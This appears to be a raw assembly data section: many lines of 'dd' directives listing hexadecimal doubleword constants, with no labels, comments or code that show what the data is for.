		dd 0E8E713D0h, 0A17B3DD2h, 0A514AFEAh, 21A402Ah, 0FBDAEA31h
		dd 0C613F85Eh, 28F1063h, 83DFA240h, 0E1AA8D32h,	2F6345ECh
		dd 0E80DB78Bh, 0C4E168E2h, 0B4B6A3A2h, 57F7BC01h, 5B8082DBh
		dd 59BF7402h, 0CF8C1DBh, 7F5195A8h, 5C17F1E8h, 11518491h
		dd 0DE333556h, 3E1B9828h, 70AD113Ah, 3A31C30Dh,	9C18F542h
		dd 0B511FEC5h, 33F1F688h, 16473BADh, 4D590F48h,	91910D65h
		dd 0D37AC22Bh, 2CC964F1h, 66651630h, 7898E050h,	9AF647F2h
		dd 403EE8C5h, 0A244BF2h, 0FF2CEFE4h, 283F5BC7h,	6577AC9Ch
		dd 4D0A62CBh, 1B3BCD96h, 8D55D4F5h, 5B7BF0C1h, 17813481h
		dd 0A197B99Ch, 27C80Ch,	1B1DD876h, 0D3D496E8h, 0D2835F5Bh
		dd 0C5B72F55h, 5F817637h, 3EF43E5Ah, 92F459E6h,	88287CBDh
		dd 0A25803A0h, 9686CF33h, 59318A6h, 6DFB44B3h, 88E1C2Ch
		dd 97A022A6h, 963A107Bh, 7FD7F198h, 8DB82E38h, 0C81C65A0h
		dd 4A197072h, 0D31B6546h, 0A25CF251h, 353D052Bh, 33138E99h
		dd 9FF275B6h, 173F533Bh, 11C0806Fh, 0A4007F7Eh,	18CF4829h
		dd 0C2292BBFh, 17904A93h, 0B1CE4621h, 0A7DB4C9Bh, 4BCE643Ch
		dd 395BA5A0h, 59784E58h, 45788BCCh, 0F5EA9D16h,	0BA888D82h
		dd 0F03176FBh, 3B580BDh, 0F15FEB2Eh, 0D01F8363h, 2BF38594h
		dd 7BC4CFA5h, 9042B78Ch, 7DE62D49h, 954C708Ah, 9795EF42h
		dd 5B9E1A99h, 6EE9765Ch, 8602A8B3h, 0B211398Fh,	8E06EC06h
		dd 0DABA5DCDh, 2BE3223Ch, 48E8111h, 0EBED50E0h,	588F7BD3h
		dd 0BAFC4F5Eh, 0A6788D9Dh, 24BB2476h, 0FB29A1ADh, 62619887h
		dd 8320F46Fh, 0BEC8486h, 1AC1D4E4h, 0B26A5A51h,	462F5617h
		dd 850FD2B9h, 0F0F5B2C2h, 10663CAh, 886BA500h, 949BFFC7h
		dd 95F2E7A1h, 0BCDB168Ah, 26EC782Dh, 6D6AFF86h,	0F9A29130h
		dd 6ABA1649h, 84D1263h,	0C8909A7Bh, 0C30D9DBAh,	9182314Ah
		dd 688B9317h, 4FDEEA22h, 3EB1B82Ch, 9D014100h, 0C301D624h
		dd 96B83849h, 0D862649Bh, 0F2B5736Eh, 0ED17FB58h, 0AB404A0Ah
		dd 89D48DCFh, 0B1A7E1B2h, 18BD21A8h, 7DD3BBB1h,	7144F908h
		dd 1EF2C6B8h, 7A13F6ACh, 0A5957704h, 2AE5F38Bh,	0A56D1806h
		dd 0DB4A89D1h, 8681534Eh, 8388E2FCh, 248F75EBh,	1EFCEE6Dh
		dd 0A54695CCh, 89C65C3h, 0C8030967h, 9B1BB6Fh, 39BA3387h
		dd 1D84B4CBh, 478A9094h, 0F93CC2B2h, 4B07853Eh,	55960C37h
		dd 0DBDE4D2h, 4C5EF6D2h, 61F8150Eh, 6BD8A4D5h, 30A5DF42h
		dd 0E1A4CFEDh, 2C92A2F4h, 4059D88Ah, 693C5E86h,	0CDA7C814h
		dd 9C61E387h, 850C5B39h, 0DDBE2C0Ch, 0B3993D57h, 7B2B9A64h
		dd 0FB0B4E10h, 1F9A70Fh, 0DF5E284Ch, 156D7187h,	0A03E5E0h
		dd 2C6EEBEDh, 0FB7CD11Eh, 6A4F6D3Fh, 0DD00F062h, 4860B8FBh
		dd 0B2FFD0C6h, 696A23Ch, 3EC7DCB3h, 0BB22A4D6h,	4CBD41E8h
		dd 0DFBA10F1h, 0EA6CB101h, 0AAB11E14h, 0BA792659h, 2E7D8278h
		dd 9598A5F3h, 270BBF04h, 0D599D0A6h, 8785B551h,	9A81FDD0h
		dd 334F982Fh, 88457D0Bh, 0BD3391A7h, 0BF2706FFh, 0B244F268h
		dd 0E48E6B7Eh, 4EBDBE5Ch, 0AA2BAE39h, 309DB196h, 23AB1C26h
		dd 97F9F36Bh, 0BC0D8DC0h, 0DC3F3530h, 0A46BD383h, 76A52A3Ch
		dd 0EC47BC25h, 0F43E69DDh, 49F52D41h, 0C2B59996h, 46E41925h
		dd 7DB8E6BCh, 7D7B8E64h, 8D7F2D3Fh, 761544A8h, 0AE66B78Fh
		dd 91A6ADCDh, 78253514h, 0D04CC789h, 0B5A50EADh, 0D58FC075h
		dd 2D4C577Ch, 0B666B85Ah, 0EEF5573Ch, 0CBE56394h, 5469E95Eh
		dd 7E1BD2B8h, 7CF5C3D2h, 0A59915E3h, 4E93173Fh,	1CDE7ED4h
		dd 0AE0D0B14h, 0C4E9C294h, 59D738E6h, 7E7D686Bh, 3E03E638h
		dd 0E660C63Ch, 0EED30E0Fh, 490DFFEEh, 0EA03EA0Eh, 56CC9383h
		dd 4822E45h, 699E961Fh,	842DA81Ch, 5616320Eh, 4B3804BAh
		dd 47925DCBh, 175422B4h, 0F4A9F936h, 7A8E772Ch,	7E5765B2h
		dd 6C0DC88Ah, 0BB085572h, 0F4D1A4DCh, 0D95B2A09h, 453739DDh
		dd 78F3CDC2h, 0EF14A837h, 61913E61h, 60D2691Fh,	7AD6CF48h
		dd 37ABEA20h, 40BC6B03h, 38C9BDEBh, 0DBE2945Dh,	2D7CC120h
		dd 0FAA4A200h, 191DF2A1h, 8D8A8B5h, 4419F79Ah, 2B64C77h
		dd 0F1DC9A4Fh, 39BDA9BFh, 759D7694h, 8EBA952Fh,	16ED316Fh
		dd 46B3175Eh, 41F1AF4Ch, 486787CDh, 133B789Eh, 4DC478C3h
		dd 0B94C8351h, 0FA694535h, 4C4D6749h, 0B6FA7CC0h, 80D537A7h
		dd 3C7564A3h, 696B17C3h, 23CCF6BFh, 932249Ch, 21A0E2C3h
		dd 0E3E82247h, 16EA52F1h, 9C2F8727h, 93E79F24h,	0C60E5282h
		dd 0B76D4F2Bh, 0C807E140h, 923B3A24h, 68E59D1h,	0BBF11209h
		dd 5EB5A397h, 0CAC8A492h, 80CDDBA1h, 406410DBh,	0D765D899h
		dd 4B84DD1Ch, 0D029DC84h, 0D0D41A3h, 0EE11380Eh, 475F4117h
		dd 179BF0B8h, 85C082B0h, 13D48749h, 55236567h, 8918A8F2h
		dd 4749199h, 52A8F785h,	2AC7ECBBh, 0EA2107F4h, 0BAF1708Eh
		dd 8E8FEFF9h, 5B76E552h, 90AA80EFh, 79BD433Fh, 0B0575EFAh
		dd 5B735A52h, 0BBC474E2h, 7EDD3C8Ch, 84EF0DF0h,	3D288758h
		dd 0C851BF15h, 2E82EE7h, 0CA19238Ah, 0F82F6315h, 79C106A8h
		dd 0CEE72F7Dh, 0FA847C1Dh, 0EA84B246h, 0C71F068Fh, 3E9B268Ch
		dd 0EC1FF2EBh, 0EB716D85h, 0A32F5FC2h, 218FF155h, 8DEFBFB0h
		dd 275B269Eh, 2A50153Ch, 5817FB8Bh, 92B4AC07h, 0C0B7405Bh
		dd 0DFA24261h, 0AB63CF26h, 0ACFE68BAh, 0C3243D43h, 610D0E7Bh
		dd 0B9C5B797h, 784A4D15h, 3BB9C9Eh, 0DB4CE00Eh,	6517C64Ah
		dd 474A0368h, 53861EC4h, 680E802Ch, 0A8C17247h,	91238606h
		dd 880DCCCh, 891AF5CFh
		dd 0CC545A8Eh, 6E9CF18Bh, 19568048h, 0B747082Ah, 966FC311h
		dd 6DA8382Ch, 0C5E3C9CEh, 79B6FA7Dh, 0F3CDEE10h, 8A4BAE13h
		dd 0C4FD3398h, 5E516045h, 7F4668A9h, 7972CBB2h,	0C8A6BC6h
		dd 0DF8BEEE8h, 978C5B58h, 0D5CC543Ah, 28E82071h, 0B3606Ch
		dd 0CAACB9Bh, 3D703A36h, 629D3916h, 7EBF5303h, 0F1FFB8D8h
		dd 0C0B2BED8h, 0FB6F2EEFh, 0D57C99FCh, 0A70D8A8h, 6407ECFEh
		dd 45E48D4Bh, 59773285h, 3B821869h, 33256ED1h, 0B879B43Eh
		dd 9CB46321h, 0B7839950h, 90B6D4C1h, 4D7A36A1h,	0E468601Ah
		dd 0AE5DD871h, 4B1BC9ACh, 973CB7DEh, 6D904909h,	42A394BFh
		dd 1531A754h, 10B1AF7h,	70F155F7h, 77D79D58h, 0B273EED2h
		dd 954454BCh, 0C3B30EFCh, 98D74726h, 182E9F01h,	672A923Ch
		dd 0B2804370h, 0A6BAD4EEh, 0A375B356h, 9CC33E59h, 20DD6B92h
		dd 6E162AECh, 0A9413EACh, 0E20FDE18h, 5057E963h, 0CF875852h
		dd 5DFE9D38h, 307B03A8h, 0C78BBE2Ch, 21C2C8D7h,	0E330E13Fh
		dd 0D944B15Dh, 79D26BB5h, 14E394A8h, 0EB2C84BDh, 0F83F3069h
		dd 7FD49A2Dh, 7AF472ADh, 3363FDA9h, 616E747Ah, 0A2F859A8h
		dd 0CACF3225h, 8D0E03D1h, 0DA390341h, 4466CCABh, 0BC9C9E40h
		dd 68A588DCh, 5CEA6909h, 3FE308C2h, 0CB64FC8Dh,	0FCD0C271h
		dd 54710E42h, 89EDE11Ch, 0D249DA9Eh, 0C94EC520h, 0ED44A5A6h
		dd 0C2CE70EBh, 4759AA5Eh, 8D4383CAh, 5C019B61h,	626FA6Dh
		dd 34EB3382h, 0CC3A7BDEh, 33F150F6h, 0FB7CE684h, 1470628Ch
		dd 86350EE2h, 0EA35D1E6h, 8057BBC0h, 3B16BFA9h,	9A9400D5h
		dd 0E0B980CFh, 2BE4B4FAh, 4E33879h, 52A86F0Dh, 0E6741B79h
		dd 0E389DB74h, 76BE0D9Dh, 98805D34h, 42A6096Eh,	5A8FAFD1h
		dd 62350911h, 5F778Ch, 895F03EEh, 0D9DF6C3Ah, 4D745986h
		dd 0FE53ECC0h, 7D8460D2h, 20EE6F83h, 0DFD5C2C7h, 78293D88h
		dd 0C5D53F33h, 50AD43EDh, 1C94216Ah, 926DE8A7h,	82C3C3B9h
		dd 9F2CB90Eh, 0B09C5D96h, 0E9018A21h, 81F3A600h, 90F81E46h
		dd 0A6439BE6h, 0B91872FFh, 7ED86F9Ah, 53A71907h, 0C6B18FD1h
		dd 3353C7C4h, 28060719h, 5201D3E2h, 0D3C3EC1Bh,	0AFB41AC9h
		dd 21CFD33Dh, 2AA81D9Bh, 0C91D2447h, 3219A1E9h,	8A39AD9h
		dd 13632EFDh, 0E344D4A9h, 10206D3Ah, 38BB3630h,	0BE6DF2BCh
		dd 0AAEC0504h, 27578AD8h, 616298F4h, 76CC7C45h,	7AB6F6B4h
		dd 47B91E09h, 7D80DDD2h, 662A1303h, 1D541160h, 3949B181h
		dd 0D95F995Eh, 1F19384Bh, 2C81450Dh, 204E7754h,	7081FA12h
		dd 7BEC932Dh, 8A9BA9B8h, 90DFB91Ah, 462E76E2h, 98249123h
		dd 0CBA26788h, 327F0BA1h, 0B9717BE4h, 0EBD1986Ch, 4DEF681Ah
		dd 0ADC42E5Eh, 0A445A566h, 0E04B5377h, 6C8566h,	2BA554E1h
		dd 0E2B2779Eh, 311B6082h, 0D2766752h, 100D744Fh, 828065C7h
		dd 5436E436h, 2CD54ED8h, 2FC31161h, 0FE5030E3h,	0F493F29Bh
		dd 0DC59C035h, 0DF1F31E7h, 0E8AE163Fh, 0A893F871h, 16651894h
		dd 0A8EA2351h, 1CAD083Bh, 8A48D372h, 0C26D53B3h, 1F439817h
		dd 56ADCF6Dh, 0B8A0DC66h, 0A802C0B1h, 0E821BB19h, 0FACE69D3h
		dd 252C1C21h, 63A6B75Fh, 8974E447h, 345229F0h, 82242E32h
		dd 989563E7h, 0C7ACBB48h, 534C2E27h, 0FB03E071h, 6413B323h
		dd 0CC7E913Eh, 0BA5BBAB8h, 889D7D2Ch, 0CB7E905Fh, 0E9EBD4D1h
		dd 0E37F10E1h, 28CCF941h, 6A1EF9CFh, 0C641FEFCh, 230102B0h
		dd 0D563D241h, 51B4E85Fh, 2296BD07h, 4D417EA3h,	5248A116h
		dd 487B740Dh, 41CB3BD3h, 19551920h, 509DE9EDh, 0E00DFD3Ah
		dd 52BFB767h, 8E31D4EAh, 5AC48CCBh, 0FE766249h,	0A03B609Eh
		dd 786FFE4Bh, 0F8B3308Bh, 59F35ECAh, 0A40AA51Eh, 0A5311331h
		dd 0A9B564D3h, 15AF25FFh, 0A4B6A1Ch, 7AF880B5h,	0F31E4EFBh
		dd 0E4375499h, 7BBCFFF9h, 50D5AB0Fh, 8987A0ABh,	0E1026F0Dh
		dd 17F31111h, 43EEB0D8h, 9A4B44BCh, 53F834Ah, 0DD9F0A44h
		dd 40E9C876h, 7AB3F051h, 0D4B4888Ah, 0EF975ACDh, 0EBBE6555h
		dd 3E46A525h, 0C4604290h, 4D4F085Dh, 8FFAFA8Fh,	0E8A420DAh
		dd 85B61673h, 93D177F1h, 0B79FEC65h, 0C7C255C5h, 3A0A0CADh
		dd 39EA0004h, 12AD9395h, 0F708428Ah, 0CC4BAAEAh, 0E5BE124Ch
		dd 384754A1h, 0A1AF464Bh, 227CA8F9h, 59DE1D3Ah,	0B2A00076h
		dd 7E962C4Fh, 70BFA515h, 0CA16D9FEh, 5703E79Dh,	0CEBDE5A9h
		dd 98F3FE77h, 88FEE2F5h, 0D4886AA3h, 727F6D7h, 6AE239A0h
		dd 8966A30Fh, 0AB742FA2h, 0DB8CF893h, 380DB771h, 2AEF3B87h
		dd 0E415B834h, 0A19171A6h, 0BE320F4Dh, 0F1F7CAF2h, 56A44D6Ch
		dd 0A73F0252h, 7CE622B5h, 0B86B7E56h, 0F71943C9h, 0AF7CA83Eh
		dd 0EAA90964h, 0F0245B3Dh, 0B32CDD53h, 5A76BCF7h, 0BEF1266Fh
		dd 210C0ACEh, 3C643354h, 0A50CFDA8h, 9538A028h,	5B5B102Dh
		dd 1DF1DBADh, 221F0F8Ah, 26F90553h, 0E267824Ch,	0B1C88535h
		dd 0D8FF29EAh, 91E8BD68h, 348225ECh, 1B803EB7h,	3D70A3E0h
		dd 3B20D74Dh, 4E861729h, 0B5BDF18h, 0A1049A4Ch,	0AE51F2EAh
		dd 0E26A0093h, 0E2A4A02Bh, 0DE4A3792h, 297FC2Ch, 59A111F4h
		dd 0BA6979B5h, 0DEAAF2F9h, 7A269FFBh, 3D9C61DFh, 75BB0C2Fh
		dd 0D9FF5ACEh, 78809026h, 0FD81A9C5h, 73B434F0h, 2A96DD69h
		dd 0A6CDB359h, 0C2638A4Ah, 29DCEEBFh, 53A731CFh, 41854075h
		dd 8FD59DC7h, 0B2F7DF9Ah, 5F35928Fh, 3D037919h,	5EDAB8D3h
		dd 71B38A32h, 0C117E9BDh, 0A8A0E52Ch, 31C98F2Fh, 78FC96A2h
		dd 545438EBh, 5F0A0C22h, 14EBD55h, 2427E8A4h, 0BE5D064Dh
		dd 6D5FAA1Dh, 61791EE7h, 66246A48h, 99DDDB1Bh, 47133C55h
		dd 72ADC378h, 0EB9CEB68h, 5158AE8Ah, 0F379C677h, 36640E99h
		dd 2DA87EC8h, 95E7D170h, 0C945C467h, 0C4E0873Bh, 0C67F33DAh
		dd 5F7935C3h, 0A728F01h, 74F7AFAFh, 16915B25h, 5BBB0137h
		dd 54D02B45h, 0A2ABD9DFh, 12A5C28Eh, 0B7CACDD1h, 0B72C9680h
		dd 6BAA50C4h, 495CEA11h, 0E60AF44Ah, 210A6D38h,	73EB0FDBh
		dd 953F6580h, 0A2798048h, 0D8E74834h, 479AF707h, 0F7176210h
		dd 0C649BDE5h, 6DD90C89h, 5929A2DAh, 0D786CCD0h, 0BFEF40DFh
		dd 0C1EAEACCh, 0C03EA641h, 0ACE06A2Ah, 0AE297CD7h, 267DE939h
		dd 0C2548711h, 3CE12941h, 49906BE1h, 22BE730Ah,	6DF4E9DEh
		dd 6336438Fh, 68583154h, 56BF12DEh, 179C4714h, 40A0A399h
		dd 70247851h, 31490152h, 0C5E92EF2h, 32EDC786h,	333F6803h
		dd 9784C611h, 6D2AFABDh, 0B05998D9h, 0D679B9FBh, 97B4A65h
		dd 8B08F02Fh, 52FB0FE0h, 51DB381Bh, 0CBB40E3Fh,	27B7C834h
		dd 6906CA38h, 0B789C926h, 0BA452891h, 0FE4B49D6h, 803761B5h
		dd 0AAE3E680h, 0F3204493h, 0B98802D2h, 4FB0CACFh, 285BB284h
		dd 1982BB2Bh, 612F69B1h, 0D24653B8h, 0A4F4D805h, 1169E1A0h
		dd 0EEE5DAC3h, 8E6AA2B0h, 37D5ADA6h, 5A384E76h,	7DCB9965h
		dd 3BFEECE2h, 0D695C48Ch, 99AC07B6h, 246EA9FEh,	451BF900h
		dd 7F5D6916h, 4740FB7Eh, 0E504666Ch, 8192C712h,	0E7DC2EADh
		dd 4FEA2E4Fh, 0F31A31FDh, 259C146Eh, 0D8906B3Eh, 4BC3A31Dh
		dd 9732DD71h, 0A77F3528h, 34420CCDh, 0CA52C079h, 0A275C1B5h
		dd 2D1C1634h, 9D8F741Bh, 0ED156348h, 6B28D978h,	3711669h
		dd 96E8E67Fh, 9FDF8EA4h, 473B0F09h, 64AC4FABh, 0B0FD8D53h
		dd 0B51ED125h, 0B397BC90h, 0E29756B0h, 0A273CFEAh, 93E6ABAFh
		dd 0D28A93C4h, 0A9D0E132h, 0F1C6877Ch, 5B72AC3Ch, 9F028396h
		dd 298E9FA3h, 647A3790h
		dd 0F0377904h, 290EC18Eh, 37576836h, 19787Dh, 0E19190E5h
		dd 28E8270h, 83086E6Bh,	8CCCE517h, 5C53756Dh, 0E1AF78ADh
		dd 0B8DC17FDh, 5936A73Ah, 0BBCADBCBh, 0C4F66F35h, 0C17A79D1h
		dd 0D5582E69h, 7C7117A0h, 4955E9E4h, 1A7F4E27h,	5CCE4293h
		dd 2772632Ch, 3FB803B7h, 0BD707619h, 62A0EBDAh,	8C5F5BC0h
		dd 0D45E8DF2h, 9B171582h, 20D4002Fh, 72737B65h,	59AD56D9h
		dd 0B1BF6AD1h, 0DC72B79Dh, 0EE6225A4h, 0C2AEA47h, 0A6E06DDCh
		dd 579235CDh, 30D19C93h, 0BE5A85D1h, 0EAA68086h, 5536C57Ch
		dd 1EA06F13h, 0D7D32505h, 524FEE4Ah, 0D46CA547h, 5228FE1Fh
		dd 8AF04875h, 13199B78h, 95CB779Ch, 34DAD911h, 0CCEAFE7Bh
		dd 27E55721h, 0F8C44C2h, 32784609h, 851264Ch, 6CAAAC04h
		dd 82A37A97h, 4484DE32h, 397A181h, 0DDDA422Bh, 0E635E863h
		dd 0A059ED8Ch, 7A5C30D8h, 0FE81EFEEh, 97009A3Ah, 61084AB2h
		dd 517807BFh, 0A574CDEBh, 0B42D4146h, 534C0B98h, 0D9A4062Ch
		dd 57947832h, 347D71C1h, 0E1C8E2Fh, 85B55A5Fh, 8523D235h
		dd 0A5F3768Ch, 60DA893Fh, 3DA9341h, 0FCFD5BCAh,	4D9CF84Dh
		dd 0C9C13A29h, 626B6273h, 55E5FF6Ah, 0B8DACF02h, 0C83E6D0Ah
		dd 0A2600BE6h, 441D7213h, 8C5E5Fh, 3147394Ch, 0F7EEF982h
		dd 5B110181h, 7D56AE0Bh, 1874FDA3h, 32E9DE0Ch, 0DA8691BDh
		dd 778B238Ch, 0C13CAE5Fh, 81840F44h, 0DE056CD8h, 27F8FEB5h
		dd 3B9F6E47h, 0AD26F65Eh, 416B2CAh, 838511DCh, 0FAC2B540h
		dd 0BC49ADBDh, 758EA6AAh, 7485D2FBh, 428B5F59h,	73AE4262h
		dd 1A4E2432h, 5918873h,	6C97B624h, 0DFAA6E85h, 602AE6C7h
		dd 0F540F04Bh, 5A08DA6Bh, 4B11B1ADh, 42CD1D35h,	5A61DCA1h
		dd 0AB7E7102h, 18DE6417h, 0D32FEE25h, 0A5BE8FBAh, 67C012D0h
		dd 21322179h, 2A37EAC3h, 0D0B6C24Ch, 67D20CB5h,	709F80B1h
		dd 0FC51FAAEh, 95DBA7B8h, 8B355927h, 0D2DD5433h, 916DE7CBh
		dd 1207F860h, 4910039Dh, 16825B62h, 788F7A38h, 3A88FA80h
		dd 27A05685h, 0A192DCACh, 60D7372Fh, 0EAA26600h, 0FB12B77Ah
		dd 7CB36A75h, 8A7C3A68h, 487966E8h, 643BFA68h, 0DC6DCA3h
		dd 0EA379090h, 73415D19h, 0C2AC5E71h, 0CDB19E65h, 0CDE50F8Eh
		dd 0BC961165h, 8B7CE76h, 0E4A93B2Bh, 29803CF7h,	7ADF9E13h
		dd 0DD19397Dh, 0BD28BB54h, 97830DC2h, 0C69C359Dh, 0D03A7290h
		dd 8C5D9EDh, 7CD748DCh,	9E4D40Ch, 10DE2D98h, 0A5CAC1C9h
		dd 747641D8h, 2B247B57h, 5E1A7D35h, 6F49A676h, 0BE544936h
		dd 97284F8Dh, 20ED2191h, 363B2F09h, 139D941Fh, 0FE7B5B6Eh
		dd 0DFB156A5h, 68BE064Eh, 0DAC4E59Fh, 40671C7Bh, 8BB12C74h
		dd 22E5CAFEh, 0E753CA7h, 763A7F22h, 0D31C34EEh,	0AA095A53h
		dd 0D991F811h, 8D0450CCh, 729FB818h, 662A221h, 6B9A9399h
		dd 774E3DF7h, 645CFA27h, 1E0C80F3h, 6289D650h, 0A46967F8h
		dd 0CEB1AE41h, 0A14830BFh, 6B093E55h, 1654804Ch, 6AA8C703h
		dd 9D4E85EFh, 82CCD2EDh, 0C6306FAAh, 70B6D82Ah,	445BCA9Ch
		dd 25D7C9B3h, 0C1B1064h, 951EC8B7h, 5AFEDCF6h, 38D4E3F9h
		dd 0B41C6E8Ch, 0ADFED8DAh, 0E63B927Eh, 0B35C19CCh, 4F285CBCh
		dd 289C0A03h, 9EB45D8Ch, 8B4113DCh, 0BD7974B1h,	844B56FCh
		dd 6BDB127Ah, 801816D5h, 0FBEEB459h, 0BCEB0F31h, 0E2B06E9Ah
		dd 8C54AA0Fh, 57124BEAh, 599D1C28h, 93499C9Ah, 8C443CE3h
		dd 797B243Bh, 0C070CA8Fh, 0E01DCC63h, 2B919BD1h, 5F778744h
		dd 7363DC01h, 15FDAEAFh, 2B1E27FCh, 33C1F2FEh, 608945A3h
		dd 36AA4978h, 640A2BE6h, 0F10BD8B8h, 68BD1AA8h,	6F3DEA6Dh
		dd 456D115Eh, 0F71930EAh, 3A532C7Ah, 6D9FB93Eh,	0CBE1030h
		dd 2AC24E07h, 4903E7BDh, 7823C012h, 0BE12F732h,	2A64A48Dh
		dd 668C53EAh, 0F1D8B3EFh, 71EC5AEBh, 9B177DA0h,	87419699h
		dd 0AE0BA639h, 11317971h, 821413EDh, 0AAFC4777h, 0E6944F30h
		dd 68E4C907h, 79DC6247h, 0D56E5F64h, 7BCF15D3h,	0B2BDE0B0h
		dd 274E37AEh, 0E356EED7h, 6187B271h, 4EEAF9DAh,	0AFDC20E5h
		dd 2490982Fh, 0DD543421h, 95ED7C4Dh, 7AFEB8B2h,	0B8EF4138h
		dd 15920875h, 243D3699h, 0F676711h, 26F27A1Ch, 205BD9Ah
		dd 0B8D802C9h, 1278E039h, 792FCBBBh, 0E80768C1h, 0C4000C0h
		dd 7010E42Ah, 0F5E430C3h, 0ECFF927Bh, 4DFB9F74h, 9FE08F86h
		dd 2AB21F5h, 3F545626h,	0F5DEB889h, 27E3EE9Dh, 0C307805Eh
		dd 0EC0028CBh, 0C691DE46h, 0ABDAAF9Dh, 70898F76h, 244A5144h
		dd 7F144880h, 0ED1780CDh, 17B2D7EAh, 2C81C211h,	0E55A2A32h
		dd 10725ECDh, 3B5866B9h, 1EDE1FF3h, 2A066F0Bh, 0F03DAA3Fh
		dd 25FF0132h, 89E15BDCh, 35C7FDB4h, 0A3722D79h,	0E58D1689h
		dd 7465AF89h, 0DB75FB31h, 0EA236A4Ah, 0D39A767Fh, 4088736h
		dd 0BFB3B776h, 0A0256FF2h, 0BE95EA17h, 1040CAD4h, 1EFD8218h
		dd 0BFC75BB1h, 69E0B17Fh, 0D8571BB8h, 304A3C4Eh, 7B2705B3h
		dd 0D9BF4153h, 0D14CDBC7h, 7A73438h, 4A454A5Fh,	0B32E78EBh
		dd 0B6DEFA8Fh, 51E070Bh, 21CE331Eh, 0F5D98CE0h,	4E7F75CBh
		dd 2252DB5h, 0BBEAE108h, 17C06BCDh, 1679CBAAh, 525F1EE3h
		dd 0FA87318Dh, 6F409E54h, 0D976569Dh, 0E735AF9Ah, 125995A8h
		dd 0BCBEE931h, 7130E54Fh, 0BFC2C19Fh, 0FF2AF0D6h, 36C4B5BCh
		dd 3A59E8BDh, 8D5D8488h, 0E60AE203h, 0C16E42F8h, 34CFB7BAh
		dd 20BE406Dh, 3492F10Dh, 0DC916DF3h, 0F490F3CAh, 0ACB31D42h
		dd 0E1863A04h, 0ED09D4CBh, 3F148EF6h, 0CD768434h, 0AD68CCF0h
		dd 5C7FF835h, 98FEFF99h, 922390B1h, 6CB9CCECh, 0BA89370Fh
		dd 6A000378h, 0F3CB5B52h, 0CCCE8FC7h, 3B921436h, 0D6D5C09Dh
		dd 39D247Bh, 0C8357E3Eh, 8CDA5861h, 5B169B1Ah, 87C6B17Dh
		dd 4995E437h, 0D62F05C5h, 129DD738h, 0BB11115Fh, 5F13A425h
		dd 0E3AD6BFDh, 0A52B9EE1h, 0DC4767FFh, 0EC00B811h, 519C93D8h
		dd 7376EFA0h, 538CD341h, 50CFBEF1h, 62B58D9Dh, 1B927730h
		dd 0F9392046h, 0C8541C29h, 0A74DAA7Fh, 1F3365A2h, 18D8152Ch
		dd 1A2FA43Eh, 92B9D16Ch, 8D46ACCFh, 0ABAB7994h,	69B867C3h
		dd 629A2125h, 0F7F4CA0Ah, 5B8787F1h, 1A662D46h,	70BE3EABh
		dd 1FDEECC6h, 0E61E0B57h, 719517C4h, 10D215E3h,	14E0922Fh
		dd 351D0C5Bh, 28FE9EDAh, 0A36909ABh, 26E4A26Ch,	34D81F42h
		dd 9B98CA13h, 0A83E21EDh, 1948C5D6h, 11260662h,	7F9057B4h
		dd 10984EF2h, 68383C3Fh, 18F1E95Bh, 0A81798D1h,	67BB066Ch
		dd 0F4992A11h, 7A6C11ECh, 0A455C3F0h, 52C22E64h, 0DD9D8164h
		dd 617397EEh, 8E13D5FFh, 3D6817BCh, 0B0E3EBBBh,	0AA6F8439h
		dd 0D83CD327h, 0C6F7DF28h, 992ECFBEh, 447824Ah,	0A7C1DC55h
		dd 0DFF0A44Eh, 0D729185Dh, 0A1771DBFh, 0B2E6F4D4h, 25BF8F83h
		dd 2971769Dh, 2E41F5F5h, 0BCB8B2D8h, 815EB57Dh,	3C7608CBh
		dd 36938538h, 5A620D71h, 473DA326h, 841AB612h, 0A9F8029Dh
		dd 0BC615069h, 31DC68C2h, 0BC82C06Dh, 1C6C3100h, 7E94E600h
		dd 0CFF6633Fh, 635C8002h, 0F5BA84D6h, 56F15652h, 0B5C563A0h
		dd 8ADD5594h, 0D6D502B6h, 0EFDB3A0h, 5055A010h,	159B96BBh
		dd 0FC48B8BFh, 1420F581h, 0B0BF9B56h, 0C27A630h, 0EDC76132h
		dd 35A5AC45h, 880A1F03h, 0BC010F3Ch, 66D61096h,	46C292D6h
		dd 16F21327h, 39AB3072h, 8BF026FBh, 9A742F63h, 0DBEFA4F1h
		dd 4229F1A2h, 0B75D9A93h, 3F9D0470h, 8DE2306Fh,	3999CBD2h
		dd 0BF0F421Bh, 0DDDBD518h
		dd 0E5B3AF08h, 19CA26EBh, 0D0C67807h, 90569AF9h, 0E24D00BCh
		dd 0FC95A374h, 0A53A8048h, 0B9E10F0Ch, 4533397Fh, 0F430BE4Ah
		dd 14D3A1E9h, 48B6D1C6h, 0AC899BF9h, 0F32A5960h, 73A7628Ch
		dd 3A973490h, 59B6C8AFh, 1301DD80h, 38BA8461h, 0C72C9233h
		dd 631A6CE0h, 0FCDDA72Eh, 269B77CEh, 56AC26E7h,	8EF84FA0h
		dd 5B087242h, 0FFE1E94h, 22EEB106h, 0FFAEF85Dh,	3AF49B6Fh
		dd 0E8CAF98Ch, 377452E2h, 88396752h, 95A404D1h,	0D22038DDh
		dd 0E00CC7F1h, 0B1F3B5FFh, 3C26D952h, 261B916Eh, 1AEA6052h
		dd 1EFCA7C9h, 0FE7D754Bh, 0AA8A760Ch, 78465473h, 92340D5Dh
		dd 0D53F9744h, 0AB07DBEBh, 609C39C3h, 0C18752B5h, 81E19F0Ch
		dd 6E310B8h, 258FD287h,	7C81D5Eh, 16C02038h, 6E667D2Bh
		dd 41CEDE1Fh, 98959089h, 771CC4CBh, 8EC5CC00h, 25A70AD2h
		dd 0A32357EDh, 6DF99297h, 0E42E55FAh, 5BC1BF71h, 0E1ECF6AEh
		dd 0B3D6D192h, 170615A0h, 0AAEA9E9Dh, 0B104B8B3h, 21877DD0h
		dd 476B4A54h, 4788A8E2h, 51DB2FA5h, 0FADBE0FCh,	0E2A3381Eh
		dd 0F0B89E64h, 0F1CEE1A7h, 0BA95C98Fh, 0F9943609h, 87FAA170h
		dd 5C30958Bh, 1B0FA199h, 0E08929DCh, 1809EA5Dh,	2EFFFB40h
		dd 5140E6A2h, 0A848C769h, 61AE039Ah, 0AC4BA307h, 0CA49F5EAh
		dd 3747AB76h, 0FC944EA1h, 2F213248h, 7ECFCAEDh,	0F5B4551h
		dd 2F7405ACh, 26EB9859h, 9E360C9Dh, 2D9A0910h, 37262268h
		dd 0A156F620h, 0F4D43C81h, 276B8425h, 2E9892FDh, 0AF4F322Fh
		dd 0C8500074h, 0D0CE842Ch, 8FC5BB29h, 41B75944h, 256EFA9Fh
